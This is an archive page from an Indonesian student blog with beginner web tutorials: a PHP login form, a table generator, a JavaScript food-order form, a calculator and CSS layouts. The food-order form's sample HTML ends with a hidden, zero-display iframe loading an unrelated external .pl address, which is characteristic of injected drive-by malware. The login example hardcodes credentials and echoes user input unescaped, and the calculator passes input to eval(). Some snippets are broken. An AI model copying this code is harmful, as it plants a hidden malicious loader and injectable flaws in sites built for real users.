Nsitus (Ahmad Mursyidun Nidhom): Kuliah Web

Showing posts with label Kuliah Web. Show all posts

Sunday, April 4, 2010

Membuat Form Login Menarik Menggunakan PHP

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 9:51 AM . Sunday, April 4, 2010

Pernahkah anda masuk form login, dimana anda harus membubuhkan username dan password?.....tentu saja pernah donk!..
hal seperti ini banyak anda jumpai di facebook,twitter dll sebagai pengenal registrasi pada situs-situs tersebut.
sekarang yang jadi pertanyaan nya bagaimana si membuta form login tersebut, pada dasarnya sangat sederhana
langkah awal , terlebih dahulu
kita membuat file css-nya, baru
kemudian dilanjutkan dengan membuat file php dan html

CSS disini berfungsi sebagai kerangka utama dalam pembuatan
halaman web

Sedangkan PHP sendiri berfungsi sebagai pengatur data yang akan
digunakan pada pembuatan form login

File html seperti biasanya, digunakan untuk menampilkan
halaman web yang telah kita desain sebelumnya

Berikut adalah langkah-langkah dalam membuat form login
sederhana :

1. Membuat file css seperti di bawah ini:

Coding CSS Form Login:

 <style type="text/css"> #apDiv1 { position:absolute; width:373px; height:330px; z-index:1; left: 289px; top: 136px; background-color: #FFFFFF; border: 2px solid Blue; } #apDiv3 { position:absolute; width:80px; height:25px; z-index:2; left: 289px; top: 274px; } .style3 { font-size: 10px; font-weight: bold; } #apDiv2 { position:absolute; width:412px; height:115px; z-index:2; top: 0px; left: 289px; } #header{ width:220px; height:98px; background-image: url(); top: 0px; left: 289px; } #footer{ width:373px; height:40px; top: 0px; left: 289px; } body { background-image: url(1.jpg); } </style> 

2. Lalu kita membuat file php seperti di bawah:

Coding PHP Form Login:

 <head> <title>Form Administrator</title> </head> <body> <?php if(($_POST['user']=='M.Nidhom') AND ($_POST['pass']=='nidhomcakep')) { echo 'Selamat, Anda Telah Berhasil Login dengan User Name :'.$_POST['user']; echo 'Selamat Datang.. ' . $_POST['user']; } else { echo "<body text='red'><center>Username atau Password Anda Salah...! <a href='3.html'><h4>Kembali Ke Login</h4></a></center></body>"; } ?> </body> </html> 

3. Membuat file html untuk menampilkan desain halaman web
yang telah kita buat sebelumnya

Coding HTML Form Login:

 <html> <head> <title>Form Login</title> <link rel="stylesheet" href="tugas.css" type="text/css" /> </head> <body onLoad="document.form1.user.focus(); backgroundimage= "1.jpg"> <form name="form1" method="post" action="tugas.php"> <div id="apDiv1"> <div id="header"> </div> <div align="center"> <img src="2.jpeg" align="center"> <div align="center"> User Name : <input type="text" name="user" size="40" value="" style="background-color:#00FF00"> Password : <input type="password" name="pass" size="40" style="background-color:#00FF00"> <input type="submit" name="submit" value=" E N T E R " onClick="admin()"> </div> </div> <div align="center" id="apDiv3"> </div> <div id="footer" align="center"> </div> </div> </form> </body> </html> 

Setelah membuat 3 file di atas, simpan ketiganya dalam satu
folder berikut file gambar yang digunakan sebagai tampilannya

Show...Jadinya akan seperti ini:
Try It!...Dengan Kreasi kamu sendiri

Seandainya ada kesalahan login, akan terlihat seperti berikut:

Klik disini untuk melanjutkan »»

Membuat Generate Table Menggunakan PHP

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 9:20 AM .

0 comments

Label:Nsitus Kuliah Web, Nsitus, PTI478

Table merupakan sebuah komponen yang terdiri dari cell dan colums, dimana 2 komponen tersebut merupakan komponen terpenting pembangun sebuah tabel, dikesempatan kali ini saya kan menjelaskan bagaimana kita membuat sebuah generate table menggunakan PHP, hal ini cukup menarik karena pada dasarnya table kita bentuk dari kotak-kotak, namun dengan PHP kita bisa membuat tabel secara fleksibel.
Langkah pertama,terlebih dahulu kita buat generated.html seperti dibawah ini:

Coding HTML Generate Table:

 <html> <head> <title>Generate Table</title> <style type="text/css">  </style> </head> <body> <script language="JavaScript" type="text/javascript">  </script> <form method="post" action="generated.php"> <h3 align="center" class="style1">Generate Tabel</h2> <div align="center"> <table width="327" border="0" bgcolor=black> <tr bgcolor="#FFFFCC"> <td width="121" style="text-align:center">Rows</td> <td width="196">= <input name="JumlahRow" type="text" id="JumlahRow" onKeyUp="getmax();" onfocus="this.select();"></td> </tr> <tr bgcolor="#CCFFCC"> <td style="text-align:center"><label>Columns</label></td> <td>= <input name="JumlahColum" type="text" id="JumlahColum" onKeyUp="getmax();" onfocus="this.select();"></td> </tr> <tr bgcolor="#FFFFCC"> <td style="text-align:center">Cell Total </td> <td>= <input name="JumlahCell" type="text" id="JumlahCell" onKeyUp="getmax();" onFocus="this.select();"></td> </tr> <tr bgcolor="#CCFFCC"> <td style="text-align:center">Max Cells </td> <td>= <input name="maxcells" type="text" id="maxcells" disabled="disabled" style="text-align:center"></td> </tr> </table> </div> <div id="apDiv1"> <input type="submit" name="Generate" value="G e n e r a t e"><input type="reset" name="Reset" value="R e s e t"> </div> </form> </body> </html> 

Langkah kedua, kita membuat file PHP nya seperti dibawah ini:

Coding PHP Generate Table:

 <html> <head> <title>Hasil Generate</title> </head> <body> <div align="center"> <?php $rows = 1; $columns = 1; $cells = 1; ?> <?php $rows = (int) $_POST["JumlahRow"]; ?> <?php $columns = (int) $_POST["JumlahColum"]; ?> <?php $cells = (int) $_POST["JumlahCell"]; ?> Kamu Memilih <?php echo $rows; ?> rows, Kamu Memilih <?php echo $columns; ?> columns, Dan Anda Membutuhkan <?php echo $cells; ?> cells, <?php $width = $columns * 75; echo "<table width=".$width." border=1>"; $rw = 0; $cel = 1; while ($rw < $rows && $cel <= $cells) { echo "<tr>"; $cl = 0; while ($cl < $columns) { if ($cel <= $cells) { echo "<td><div align=center>".$cel."</div></td>"; $cel++; } $cl++; } echo "</tr>"; $rw++; } echo "</table>"; ?> </div> </body> </html> 

Screen Shoot:

Klik disini untuk melanjutkan »»

Friday, March 5, 2010

Membuat Form Pemesanan Minuman/Makanan Berbasis Javascript V.1

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 8:07 PM . Friday, March 5, 2010

0 comments

Label:Nsitus Kuliah Web, PTI478

Javascript selain handal dalam pembuatan button,event,checklist dll, juga sangat membantu dalam hal hitung-menghitung(ha33x, merupakan kelemahan saya) dibawah ini merupakan coding javascript yang dapat kita gunakan sebagai form penjualan makanan dan minuman, memang belum selesai masalah perhitungannya dlam versi pertama ini, tapi coding ini dapat membantu anda membangun navigasi yang lainnya, lebih dari hanya sebuah perhitungan, try it!...

Coding HTML Form Pemesanan:

 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"xml:lang="en"lang="en"> <head> <h1>Form Pemesanan Berbasis JavaScript</h1> <title>Form Pemesanan</title> </head> <body> <table border=1 align="left" cellspacing=0 cellpadding=5>  <tr> <th width="50">No</th> <th width="200">Makanan/Minuman</th> <th width="170">Harga</th> <th width="100">Pesan</th> </tr>  <tr> <td>1</td> <td>Bakso istimewa</td> <td>@<input type="text"/></td> <td><input type="text"/></td> </tr> <tr> <td>2</td> <td>Soto spesial</td> <td>@<input type="text"/></td> <td><input type="text"/></td> </tr> <tr> <td>3</td> <td>Mie Ayam Super</td> <td>@<input type="text"/></td> <td><input type="text"/></td> </tr> <tr> <td>4</td> <td>Es Degan</td> <td>@<input type="text"/></td> <td><input type="text"/></td> </tr> <tr> <td>5</td> <td>Es Campur</td> <td>@<input type="text"/></td> <td><input type="text"/></td> </tr> <tr> <td colspan="3" align="right">Jumlah Total</td> <td><input type="text"/></td> </tr> <tr> <td colspan="3" align="right">Diskon</td> <td><input type="text"/></td> </tr> <tr> <td colspan="3" align="right">Jumlah Dibayar</td> <td><input type="text"/></td> </tr> </table> <input type="button" value="Batal Pesan" name="09" align="right" /> <iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe> </body> </html> 

Screen Shoot:

Anda dapat download disini

Klik disini untuk melanjutkan »»

Membuat Kalkulator Sederhana Dengan JavaScript

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 7:46 PM .

0 comments

Label:Nsitus Kuliah Web, PTI478

Kalkulator merupakan alat penghitung yang dizaman ini tidak asing di telinga kita, dari warung sampai toko besar sekalipun masih menggunakan apa yang dinamakan kalkulator, bagaimana membuat kalkulator menggunakan javascript, mungkin coding html dibawah ini bisa anda gunakan sebagai referensi atau bahan percobaan:

Coding HTML Kalkulator:

 <html> <head> <title>Kalkulator Sederhana</title> </head> <body> <script language="JavaScript" type="text/javascript"> function kurang() { a=eval(form.a.value) b=eval(form.b.value) c=a-b form.hasil.value=c } function tambah() { a=eval(form.a.value) b=eval(form.b.value) c=a+b form.hasil.value = c } function kali() { a=eval(form.a.value) b=eval(form.b.value) c=a*b form.hasil.value=c } function bagi() { a=eval(form.a.value) b=eval(form.b.value) c=a/b form.hasil.value = c } function pangkat() { a=eval(form.a.value) b=eval(form.b.value) c=Math.pow(a, b) form.hasil.value = c } function kosong() { form.a.focus() form.a.value="" form.b.value="" form.hasil.value="" } </SCRIPT> <body onload=kosong()> <FORM name="form"> Nilai : <input type="text" name="a"> <input type="text" name="b"> <input type="button" value=" + " onClick="tambah()"> <input type="button" value=" - " onClick="kurang()"> <input type="button" value=" x " onClick="kali()"> <input type="button" value=" / " onClick="bagi()"> <input type="button" value=" ^ " onClick="pangkat()"> <input type="button" value="Clear" onClick="kosong()"> Hasil : <input type "text" name="hasil" disabled="true"> </FORM> </LEFT> </body> </html> 

Screen Shoot:

Anda dapat download disini

Klik disini untuk melanjutkan »»

Wednesday, March 3, 2010

Membuat Website Sederhana Menggunakan CSS

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 4:58 PM . Wednesday, March 3, 2010

0 comments

Label:Nsitus Kuliah Web, PTI478

Setelah kita mengetahui bagaimana cara membuat layout menggunakan css, terasa kurang menarik apabila kita tidak mengedit layout tersebut menjadi website sederhana.

langkahnya adalah kita membuat file css stylenya dulu, coding dapat anda lihat dibawah ini:

Coding :

* { margin: 0; } body { margin:5px auto; padding:0; font:0.72em/150% verdana; } #wrapper { margin:auto; width:980px;} #header { height:80px; margin:0px auto;background:#000;} #header-content{height:70px; margin:auto; background:#fff url(1.jpg);} #menu-top { font-size:small; height:20px; float:right; padding:0px 50px; font-weight:bold;} #logo { float:left; margin:10px 10px 10px 50px; height:50px;} #site-title h2{ float:left; padding:0px 10px; height:30px; margin:20px 0px; font:2.1em/100% 'Verdana'; font-weight: bold;} #search { clear:right; float:right; margin:20px 50px 0px auto; height:30px; font-weight:bold;} #inner { float:left; margin:0px;} #footer { clear:both; height:60px; background:#FFCC99;} #footer p { text-align:center;} #sidebar { float:left; width:200px; height:400px; background-color:#FFCC99} #content { float:right; width:780px; height:400px; background:#FFF} #content-top { clear:both; margin:auto; width:780px; height:140px; background-image:url(sky.jpg)} #content-main { float:left; margin:auto; width:480px; height:240px;} #content-main p, h3{ padding: 10px 20px 0px 20px; text-align:justify;} .style1 {font-size:x-small} #content-main hr{ width:440px; color:#FF9900; margin: 10px 20px 0px 20px;} #content-right { float:right; margin:10px auto; width:260px; border: 2px solid green; background:#FFCC99} #content-right h3{ padding: 10px 20px 0px 20px; text-align:justify;} #content-right ul{ padding: 10px 20px 20px 40px; list-style:square;} #leftmenu ul { width:200px; list-style-type:none; padding:0; margin:0;} #leftmenu a:link, #leftmenu a:visited, #leftmenu a:active { padding-left:15px; text-decoration:none;} #leftmenu a { padding: 5px 0px 5px 15px; display:block; background:#6cae15 no-repeat left center; margin: 0px 0px 1px; color:#000 } #leftmenu a:hover { background:#5e9711 no-repeat left center; color:#fff}</a>

Untuk Code HTML nya anda bisa lihat dibawah ini:

Coding :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>aplikasi6</title> <link type="text/css" rel="stylesheet" href="layout2.css" /> </head> <body> <div id="wrapper"> <div id="header"> <div id="header-content"> <div id="menu-top"> Home | Link | Contact | RSS | About Us </div> <div id="logo"> <img src="um.jpg" width="50"/> </div> <div id="site-title"> <h2>TEKNIK ELEKTRO</h2> <--!Untuk lanjutannya anda dapat download full coding dibawah ini--> </a>

Screen Shoot File:

Anda Dapat Download Full Coding HTML Disini
Anda Dapat Download Full Coding CSS Disini

Klik disini untuk melanjutkan »»

Membuat Layout Sederhana Menggunakan CSS

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 4:43 PM .

0 comments

Label:Nsitus Kuliah Web, PTI478

Cascading style sheet (CSS) merupakan alat bantu coding html, CSS ini sangat membantu kita dalam membangun web yang elegen, dan tentunya cepat dalam prosesnya, didalam css sendiri menguraikan tiga jenis style yang lazim digunakan, yakni (1) Embedded (Pengelompokan html dalam 1 blok), (2). Inline ( konsep terapan style secara langsung dalam 1 baris) dan (3).Linked ( konsep pemanggilan style diluar html menggunakan file berekstensi css).

Agar lebih jelas bagaimana kita membuat css ini, tentunya perlu praktek membuat layout sederhana menggunakan css, coding tersebut ada dibawah ini:

Coding:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>Layout Halaman Web</title> <style type="text/css">  }/></a>

Screen Shoot:

anda dapat download full coding disini

Klik disini untuk melanjutkan »»

Tuesday, February 23, 2010

Kreasi Grafik Batang Menggunakan Tabel

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 9:26 PM . Tuesday, February 23, 2010

0 comments

Label:Nsitus Kuliah Web, PTI478

Elemen tabel pada HTML mempunyai banyak atribut yang dapat kita manfaatkan, salah satunya sebagai frame pada web sederhana kita, elemen tabel sendiri memberikan kita kemudahan untuk berkreasi, salah satunya adalah membuat grafik batang yang menarik, dengan beberapa warna di dalam batangnya, sehingga lebih dapat memberikan tampilan yang menarik

Anda dapat download source code html disini

Klik disini untuk melanjutkan »»

Monday, February 15, 2010

Dasar-Dasar Pemrograman Web

Posted by Ahmad Mursyidun Nidhom - Nidhom Situs at 8:23 AM . Monday, February 15, 2010

0 comments

Label:Nsitus Kuliah Web, PTI478

Studi Kasus : Buat halaman web sederhana yang meilbatkan elemen teks, garis, warna, dan gambar. Dimana terdapat minimal sebuah heading dan garis berwarna, gambar dengan garis tepi (border), dan halaman utama dengan latar belakang gambar sembarang.

Screen Shot:Halaman Web Sederhana Modul 1

Klik disini untuk melanjutkan »»

Sunday, April 4, 2010

Membuat Form Login Menarik Menggunakan PHP

Membuat Generate Table Menggunakan PHP

Friday, March 5, 2010

Membuat Form Pemesanan Minuman/Makanan Berbasis Javascript V.1

Membuat Kalkulator Sederhana Dengan JavaScript

Wednesday, March 3, 2010

Membuat Website Sederhana Menggunakan CSS

Membuat Layout Sederhana Menggunakan CSS

Tuesday, February 23, 2010

Kreasi Grafik Batang Menggunakan Tabel

Monday, February 15, 2010

Dasar-Dasar Pemrograman Web

About Me

Hubungi Saya

Post Blog

Iklan Vertikal

Rank Site

Tracking

Trafic Site

Blog Kunjungan

Followers

Recent Post

Recent Comments